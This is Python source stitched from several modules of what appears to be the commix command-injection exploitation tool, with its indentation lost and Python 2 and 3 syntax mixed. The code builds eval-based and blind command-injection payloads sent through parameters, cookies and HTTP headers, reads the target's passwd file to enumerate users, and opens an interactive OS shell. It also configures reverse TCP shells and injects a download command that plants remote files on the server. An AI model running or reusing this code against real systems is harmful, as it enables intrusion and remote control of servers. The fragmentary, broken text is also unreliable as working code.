is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
else:
is_privileged = ""
is_privileged_nh = ""
print(" (" + str(count) + ") '" +
Style.BRIGHT + fields[0] +
Style.RESET_ALL + "'" + Style.BRIGHT +
is_privileged + Style.RESET_ALL +
"(uid=" + fields[1] +
"). Home directory is in '" +
Style.BRIGHT + fields[2] +
Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) +
") '" + fields[0] + "'" +
is_privileged_nh + "(uid=" +
fields[1] +
"). Home directory is in '" +
fields[2] + "'.\n")
output_file.close()
except ValueError:
if count == 1:
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
warn_msg += "appropriate format. Thus, it is expoted as a text file."
print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(
str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
print("\n" + settings.print_warning_msg(warn_msg))
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
if settings.VERBOSITY_LEVEL >= 1:
print ""
success_msg = "The contents of file '"
success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
sys.stdout.write(settings.print_success_msg(success_msg))
sys.stdout.flush()
print shell
output_file = open(filename, "a")
success_msg = "The contents of file '"
success_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file.\n"
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
if settings.FILE_ACCESS_DONE == True:
print ""
"""
Execute the bind / reverse TCP shell
"""
def execute_shell(url, cmd, cve, check_header, filename, os_shell_option):
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if settings.VERBOSITY_LEVEL >= 1:
print ""
def system_information(separator, payload, TAG, timesec, prefix, suffix,
whitespace, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename):
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# Evaluate injection results.
target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE,
timesec)
target_os = "".join(str(p) for p in target_os)
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_os:
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS != "win":
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
distro_name = fb_injector.injection_results(
url, OUTPUT_TEXTFILE, timesec)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
target_os = target_os + " (" + distro_name + ")"
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# Evaluate injection results.
target_arch = fb_injector.injection_results(
url, OUTPUT_TEXTFILE, timesec)
target_arch = "".join(str(p) for p in target_arch)
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if target_arch:
# if settings.VERBOSITY_LEVEL >= 1:
# print("")
success_msg = "The target operating system is " + str(
target_os) + Style.RESET_ALL
success_msg += Style.BRIGHT + " and the hardware platform is " + str(
target_arch)
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The target operating system is " + str(target_os)
success_msg += " and the hardware platform is " + str(
target_arch) + ".\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
print(settings.print_warning_msg(warn_msg))
def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based command injection"
technique = "eval-based code injection technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[
item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
url = eb_injector.warning_detection(url, http_request_method)
if not settings.LOAD_SESSION:
info_msg = "Testing the " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(
settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(
url, technique):
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename,
http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(
separator, TAG, randv1, randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(
")%3B" + urllib.quote(")}"),
")" + urllib.quote(")}"))
payload = payload + TAG + ""
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
else:
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
sys.stdout.write(
"\n" + settings.print_payload(payload))
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = eb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = eb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = eb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = eb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(
payload, http_request_method, url)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate test results.
shell = eb_injector.injection_test_results(
response, TAG, randvcalc)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if shell == False:
info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
"%20", " ", payload) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
delay=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input(
"\n" +
settings.print_question_msg(question_msg)
).lower()
if enumerate_again in settings.CHOICE_YES:
eb_enumeration.do_check(
separator, TAG, prefix, suffix,
http_request_method, url,
vuln_parameter, alter_shell, filename)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
eb_enumeration.do_check(
separator, TAG, prefix, suffix,
http_request_method, url, vuln_parameter,
alter_shell, filename)
if not menu.file_access_options(
) and not menu.options.os_cmd:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline(
).replace("\n", "").lower()
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(
separator, TAG, prefix, suffix,
http_request_method, url,
vuln_parameter, alter_shell, filename)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
eb_file_access.do_check(
separator, TAG, prefix, suffix,
http_request_method, url, vuln_parameter,
alter_shell, filename)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
if not menu.file_access_options():
print ""
eb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix,
http_request_method, url, vuln_parameter,
alter_shell, filename)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(
settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace(
"\n", "").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if cmd.lower(
) in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique,
go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(
warn_msg) + "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp(
)
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(
settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options(
)
result = checks.check_reverse_tcp_options(
cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
response = eb_injector.injection(
separator, TAG, cmd,
prefix, suffix,
whitespace,
http_request_method,
url, vuln_parameter,
alter_shell, filename)
# Evaluate injection results.
shell = eb_injector.injection_results(
response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has been failed!"
print settings.print_critical_msg(
err_msg)
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(
response, TAG, cmd)
shell = "".join(
str(p)
for p in shell).replace(
" ", "", 1)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
#if shell:
if shell != "":
shell = "".join(
str(p) for p in shell)
if settings.VERBOSITY_LEVEL >= 1:
print ""
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(
err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def injection_proccess(url, check_parameter, http_request_method, filename,
delay):
# User-Agent Injection / Referer Injection / Custom header Injection
if check_parameter.startswith(" "):
header_name = ""
the_type = " HTTP header "
else:
if settings.COOKIE_INJECTION:
header_name = " cookie"
else:
header_name = ""
the_type = " parameter "
check_parameter = " '" + check_parameter + "'"
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
if not settings.LOAD_SESSION:
info_msg = "Setting the"
if not header_name == " cookie" and not the_type == " HTTP header ":
info_msg += " (" + http_request_method + ")"
info_msg += check_parameter + header_name + the_type + "for tests."
print settings.print_info_msg(info_msg)
# Estimating the response time (in seconds)
delay, url_time_response = requests.estimate_response_time(
url, http_request_method, delay)
# Check if it is vulnerable to classic command injection technique.
if not menu.options.tech or "c" in menu.options.tech:
settings.CLASSIC_STATE = None
if cb_handler.exploitation(url, delay, filename,
http_request_method) != False:
settings.CLASSIC_STATE = True
else:
settings.CLASSIC_STATE = False
# Check if it is vulnerable to eval-based code injection technique.
if not menu.options.tech or "e" in menu.options.tech:
settings.EVAL_BASED_STATE = None
if eb_handler.exploitation(url, delay, filename,
http_request_method) != False:
settings.EVAL_BASED_STATE = True
else:
settings.EVAL_BASED_STATE = False
# Check if it is vulnerable to time-based blind command injection technique.
if not menu.options.tech or "t" in menu.options.tech:
settings.TIME_BASED_STATE = None
if tb_handler.exploitation(url, delay, filename, http_request_method,
url_time_response) != False:
settings.TIME_BASED_STATE = True
else:
settings.TIME_BASED_STATE = False
# Check if it is vulnerable to file-based semiblind command injection technique.
if not menu.options.tech or "f" in menu.options.tech:
settings.FILE_BASED_STATE = None
if fb_handler.exploitation(url, delay, filename, http_request_method,
url_time_response) != False:
settings.FILE_BASED_STATE = True
else:
settings.FILE_BASED_STATE = False
# All injection techniques seems to be failed!
if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False:
warn_msg = "The tested"
if not header_name == " cookie" and not the_type == " HTTP header ":
warn_msg += " (" + http_request_method + ")"
warn_msg += check_parameter + header_name + the_type
warn_msg += "seems to be not injectable."
print settings.print_warning_msg(warn_msg)
def check_http_traffic(request):
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
# Delay in seconds between each HTTP request
time.sleep(int(settings.DELAY))
class do_connection(_http_client.HTTPConnection):
def send(self, req):
headers = req.decode()
#http_method = headers[:4].strip()
if menu.options.traffic_file:
logs.log_traffic("-" * 37 + "\n" + info_msg + "\n" + "-" * 37)
request_http_headers = str(headers).split("\r\n")
unique_request_http_headers = []
[
unique_request_http_headers.append(item)
for item in request_http_headers
if item not in unique_request_http_headers
]
request_http_headers = unique_request_http_headers
for header in request_http_headers:
if settings.VERBOSITY_LEVEL >= 2:
# if http_method == "GET" and len(header) > 1 or http_method == "POST":
print(settings.print_traffic(header))
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
if menu.options.traffic_file:
if settings.VERBOSITY_LEVEL > 1:
logs.log_traffic("\n\n" + "#" * 77 + "\n\n")
else:
logs.log_traffic("\n\n")
_http_client.HTTPConnection.send(self, req)
class connection_handler(_urllib.request.HTTPHandler,
_urllib.request.HTTPSHandler):
if settings.SCHEME == 'https':
def https_open(self, req):
try:
return self.do_open(do_connection, req)
except Exception as err_msg:
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg.args[0]) + "."
if settings.INIT_TEST == True:
if settings.VERBOSITY_LEVEL < 2:
print(settings.FAIL_STATUS)
else:
if settings.VERBOSITY_LEVEL < 1:
print("")
print(settings.print_critical_msg(error_msg))
raise SystemExit()
else:
def http_open(self, req):
try:
return self.do_open(do_connection, req)
except Exception as err_msg:
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg.args[0]) + "."
if settings.INIT_TEST == True:
if settings.VERBOSITY_LEVEL < 2:
print(settings.FAIL_STATUS)
else:
if settings.VERBOSITY_LEVEL < 1:
print("")
print(settings.print_critical_msg(error_msg))
raise SystemExit()
if settings.REVERSE_TCP == False and settings.BIND_TCP == False:
opener = _urllib.request.build_opener(connection_handler())
response = False
current_attempt = 0
unauthorized = False
while not response and current_attempt <= settings.MAX_RETRIES and unauthorized is False:
if settings.VERBOSITY_LEVEL >= 2:
req_msg = "HTTP request:"
print(settings.print_request_msg(req_msg))
try:
opener.open(request)
response = True
if settings.VERBOSITY_LEVEL < 2:
if current_attempt != 0:
info_msg = "Checking connection to the target URL. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.INIT_TEST == True and not settings.UNAUTHORIZED:
print(settings.SUCCESS_STATUS)
if not settings.CHECK_INTERNET:
settings.INIT_TEST = False
except _urllib.error.HTTPError as err_msg:
if settings.UNAUTHORIZED_ERROR in str(err_msg):
if settings.VERBOSITY_LEVEL < 2 and not settings.UNAUTHORIZED:
print(settings.FAIL_STATUS)
settings.UNAUTHORIZED = unauthorized = True
except _urllib.error.URLError as err_msg:
if current_attempt == 0:
if settings.VERBOSITY_LEVEL < 2:
print(settings.FAIL_STATUS)
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + ". "
except IndexError:
error_msg = ""
error_msg += "Please wait while retring the request(s)."
print(settings.print_critical_msg(error_msg))
warn_msg = "In case the provided target URL is valid, try to rerun with"
warn_msg += " the switch '--random-agent' and/or proxy switch."
print(settings.print_warning_msg(warn_msg))
if settings.VERBOSITY_LEVEL >= 2 or current_attempt == 1:
info_msg = "Please wait while retring the request(s)."
print(settings.print_info_msg(info_msg))
current_attempt = current_attempt + 1
time.sleep(3)
except _http_client.BadStatusLine as err_msg:
if settings.VERBOSITY_LEVEL < 2:
print(settings.FAIL_STATUS)
if len(err_msg.line) > 2:
print(err_msg.line, err_msg.message)
raise SystemExit()
except ValueError as err:
if settings.VERBOSITY_LEVEL < 2:
print(settings.FAIL_STATUS)
err_msg = "Invalid target URL has been given."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except AttributeError:
raise SystemExit()
try:
response = _urllib.request.urlopen(request)
code = response.getcode()
# Check the HTTP response headers.
response_headers = response.info()
page = response.read()
try:
# Fix for Python 2.7
page = page.encode(settings.DEFAULT_ENCODING)
except AttributeError:
pass
if response_headers.get('Content-Encoding') == 'gzip':
page = gzip.GzipFile("", "rb", 9, io.BytesIO(page)).read()
request.add_header('Accept-Encoding', 'deflate')
if len(settings.ENCODING) != 0:
page = page.decode(settings.ENCODING)
else:
if type(page) != str:
page = page.decode(settings.DEFAULT_ENCODING)
response_headers[settings.URI_HTTP_HEADER] = response.geturl()
response_headers = str(response_headers).strip("\n")
if settings.VERBOSITY_LEVEL > 2:
print_http_response(response_headers, code, page)
# Checks regarding a potential CAPTCHA protection mechanism.
checks.captcha_check(page)
# Checks regarding a potential browser verification protection mechanism.
checks.browser_verification(page)
# Checks regarding recognition of generic "your ip has been blocked" messages.
checks.blocked_ip(page)
# This is useful when handling exotic HTTP errors (i.e requests for authentication).
except _urllib.error.HTTPError as err:
if settings.VERBOSITY_LEVEL > 2:
print_http_response(err.info(), err.code, err.read())
error_msg = "Got " + str(err).replace(": ", " (")
# Check for 4xx and/or 5xx HTTP error codes.
if str(err.code).startswith('4') or \
str(err.code).startswith('5'):
if settings.VERBOSITY_LEVEL > 1:
if len(str(err).split(": ")[1]) == 0:
error_msg = error_msg + "Non-standard HTTP status code"
warn_msg = error_msg
print(settings.print_warning_msg(warn_msg + ")."))
pass
else:
error_msg = str(err).replace(": ", " (")
if len(str(err).split(": ")[1]) == 0:
err_msg = error_msg + "Non-standard HTTP status code"
else:
err_msg = error_msg
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
# The handlers raise this exception when they run into a problem.
except (socket.error, _http_client.HTTPException,
_urllib.error.URLError) as err:
if settings.VERBOSITY_LEVEL > 2:
print_http_response(response_headers=err.info(),
code=err.code,
page=err.read())
err_msg = "Unable to connect to the target URL"
try:
err_msg += " (" + str(err.args[0]).split("] ")[1] + ")."
except IndexError:
err_msg += "."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except _http_client.IncompleteRead as err:
print(settings.print_critical_msg(str(err)))
raise SystemExit()
except UnicodeDecodeError as err:
print(settings.print_critical_msg(str(err)))
raise SystemExit()
except LookupError as err:
print(settings.print_critical_msg(str(err)))
raise SystemExit()
# Raise exception regarding existing connection was forcibly closed by the remote host.
except SocketError as err:
if err.errno == errno.ECONNRESET:
error_msg = "Connection reset by peer."
print(settings.print_critical_msg(error_msg))
elif err.errno == errno.ECONNREFUSED:
error_msg = "Connection refused."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter, alter_shell,
filename, url_time_response):
_ = True
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" + str(
err_msg) + ")"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) +
"\n")
sys.stdout.flush()
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_upload = os.path.split(
menu.options.file_dest)[0] + "/" + os.path.split(
menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(
menu.options.file_dest)[1] + "/" + os.path.split(
menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, alter_shell, filename,
url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
print(settings.SINGLE_WHITESPACE)
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, alter_shell, filename,
url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The '" + shell + Style.RESET_ALL
info_msg += Style.BRIGHT + "' file was uploaded successfully!"
sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) +
"\n")
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "write the '" + dest_to_upload + "' file."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) +
"\n")
def tb_injection_handler(url, timesec, filename, http_request_method,
url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
export_injection_info = False
how_long = 0
injection_type = "blind OS command injection"
technique = "time-based command injection technique"
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + "(" + injection_type.split(
" ")[0] + ") " + technique + "... "
print settings.print_info_msg(info_msg)
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
